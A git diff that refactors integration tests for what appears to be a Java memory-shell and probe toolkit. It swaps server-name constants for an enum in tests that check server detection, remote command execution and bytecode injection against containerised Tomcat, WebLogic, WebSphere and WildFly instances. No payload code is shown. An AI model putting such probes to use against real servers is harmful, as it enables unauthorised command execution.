ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V17);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V17);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V17);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V17);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.probe.payload.response.TomcatWriter;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -59,20 +53,20 @@ public class Tomcat10ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.TOMCAT, data);
|
||||
assertEquals(Server.Tomcat, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V11);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V11);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V11);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V11);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.probe.payload.response.TomcatWriter;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -60,20 +54,20 @@ public class Tomcat11ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.TOMCAT, data);
|
||||
assertEquals(Server.Tomcat, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V17);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V17);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V17);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V17);
|
||||
}
|
||||
}
|
||||
|
||||
+4
-5
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
@@ -56,20 +55,20 @@ public class Tomcat11JRE21ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.TOMCAT, data);
|
||||
assertEquals(Server.Tomcat, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V21);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V21);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V21);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V21);
|
||||
}
|
||||
}
|
||||
|
||||
+4
-5
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -60,20 +59,20 @@ public class Tomcat5ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.TOMCAT, data);
|
||||
assertEquals(Server.Tomcat, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
+4
-10
@@ -1,14 +1,11 @@
|
||||
package com.reajason.javaweb.integration.probe.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.probe.payload.response.TomcatWriter;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
@@ -21,9 +18,6 @@ import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -59,20 +53,20 @@ public class Tomcat6ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.TOMCAT, data);
|
||||
assertEquals(Server.Tomcat, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
+4
-5
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
@@ -55,20 +54,20 @@ public class Tomcat7ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.TOMCAT, data);
|
||||
assertEquals(Server.Tomcat, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_7);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_7);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_7);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_7);
|
||||
}
|
||||
}
|
||||
+4
-6
@@ -1,14 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -56,20 +54,20 @@ public class Tomcat8ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.TOMCAT, data);
|
||||
assertEquals(Server.Tomcat, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_8);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
+4
-5
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
@@ -54,20 +53,20 @@ public class Tomcat9ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.TOMCAT, data);
|
||||
assertEquals(Server.Tomcat, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V9);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V9);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V9);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V9);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-7
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.weblogic;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
@@ -17,8 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWebLogic;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -54,20 +53,20 @@ public class WebLogic1036ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromWebLogic(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.WEBLOGIC, data);
|
||||
assertEquals(Server.WebLogic, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrlFromWebLogic(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.WebLogic, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrlFromWebLogic(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.WebLogic, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
|
||||
+4
-4
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.integration.probe.weblogic;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
@@ -59,20 +59,20 @@ public class WebLogic12214ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromWebLogic(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.WEBLOGIC, data);
|
||||
assertEquals(Server.WebLogic, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrlFromWebLogic(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.WebLogic, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrlFromWebLogic(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.WebLogic, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
|
||||
+4
-5
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.weblogic;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
@@ -54,20 +53,20 @@ public class WebLogic14110ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromWebLogic(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.WEBLOGIC, data);
|
||||
assertEquals(Server.WebLogic, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrlFromWebLogic(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.WebLogic, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrlFromWebLogic(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.WebLogic, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.websphere;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
@@ -20,9 +19,8 @@ import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.time.Duration;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -64,20 +62,20 @@ public class WebSphere855ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromWAS(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.WEBSPHERE, data);
|
||||
assertEquals(Server.WebSphere, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrlFromWAS(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBSPHERE, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrlFromWAS(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBSPHERE, Opcodes.V1_8);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.websphere;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
@@ -19,9 +18,8 @@ import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.time.Duration;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -58,20 +56,20 @@ public class WebSphere905ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromWAS(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.WEBSPHERE, data);
|
||||
assertEquals(Server.WebSphere, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrlFromWAS(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBSPHERE, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrlFromWAS(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBSPHERE, Opcodes.V1_8);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
|
||||
+4
-8
@@ -1,13 +1,10 @@
|
||||
package com.reajason.javaweb.integration.probe.websphere7;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.BindMode;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
@@ -19,9 +16,8 @@ import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.time.Duration;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -58,6 +54,6 @@ public class WebSphere700ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromWAS(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.WEBSPHERE, data);
|
||||
assertEquals(Server.WebSphere, data);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.wildfly;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class Wildfly18ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.UNDERTOW, data);
|
||||
assertEquals(Server.Undertow, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8);
|
||||
